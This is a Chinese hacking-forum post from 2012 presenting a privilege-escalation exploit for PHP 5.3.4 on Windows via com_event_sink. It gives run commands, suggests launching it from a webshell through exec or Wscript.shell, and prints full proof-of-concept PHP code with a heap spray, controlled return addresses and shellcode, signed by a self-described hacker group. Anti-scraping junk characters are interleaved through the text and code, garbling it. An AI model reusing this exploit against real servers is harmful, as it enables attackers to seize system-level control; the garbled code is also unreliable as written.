找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2503|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
6 Q; \  o% U7 ^, i$ M- ?3 R& ~: ?0 g
测试方法如下:cmd /c x:\php\php.exe x:\test.php
+ W, Z/ e' u) d3 j: ^. B7 G% b' p  V
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
9 q' I2 Y9 \- F5 v1 x5 k! ^) t这里是两个测试的截图:
" L; m$ |5 J* b( u
3 i9 A, E6 {! a6 z; x
; X7 d& A  C: C: i( ~1 c- L% T$ R# ~& I! h/ c
. ^: b8 ?! U; R1 Z0 x

7 F# F# O8 B+ N1 G& @& |) j成功利用此漏洞的攻击者将获得系统的最高权限% S4 j8 o3 m- I/ Q
  s! `, ^3 K- f) ]- |

. r- s" S8 @/ t3 q9 X! J5 L: O/ p4 ?8 ^

6 R' ?# M. X/ Q# S4 p4 N: p# C8 i  @  l& v7 _' P  b/ s5 |
关于漏洞分析稍后附上。一下是PoC代码:
+ y; r) `- {9 `0 s: k! a$ l/ ^7 Y# J$ t; W6 B
<?php) v. @* {; V4 y- Q
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
6 X0 U! f$ Z. ]) [//$eip ="\x44\x43\x42\x41";$ p0 ^7 }4 F3 n5 j, h( U
$eip= "\x4b\xe8\x57\x78";
; |( y. q' D" r1 D3 f$eax ="\x80\x01\x8d\x04";
& D6 ?, N4 Q; X+ a$deodrant="";
  |! q, S) E( M+ l$axespray = str_repeat($eip.$eax,0x80);. i6 c0 N: |0 h0 s- {. L
//048d0190
8 V$ S1 j4 d4 x$ c: y0 Secho strlen($axespray);  k% x( b- w& `6 R
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
& I  L! ^* \4 fecho "Silic Group Hacker Army - BlackBap.Org";
4 g$ Q9 A1 ?7 u- m* t1 Q//19200 ==4B32 4b00
% ?- |  `# Y, I, Z6 ~  T2 [for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
1 e, O; s6 S# M. Z1 I* n0 q$terminate = "T";; h( K4 {: \! p- D! b* O
$u[] =$deodrant;6 Y- }* n. G9 G7 K6 O+ V8 l
$r[] =$deodrant.$terminate;
/ v$ Q2 `5 u- ~. h/ Z5 Q$a[] =$deodrant.$terminate;4 R0 t: l) ?$ W0 F$ p7 L: j
$s[] =$deodrant.$terminate;
$ S- E, x) q( c0 N//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的7 p' }! T  |! C
$vVar = new VARIANT(0x048d0000+180);
9 S. J( x; J0 x, k//弹窗代码(Shellcode)
! s  v  l# R# ?& g3 u$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
) p" \% O' r, h/ D7 V5 q6 b+ p$var2 = new VARIANT(0x41414242);' @- q# w& Y: }' s" j( G; K* X9 k
com_event_sink($vVar,$var2,$buffer);2 b- D8 Y9 ~( B& j; w
?>' r" h" E5 i) U; r! }3 a; _& k% Q' }

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表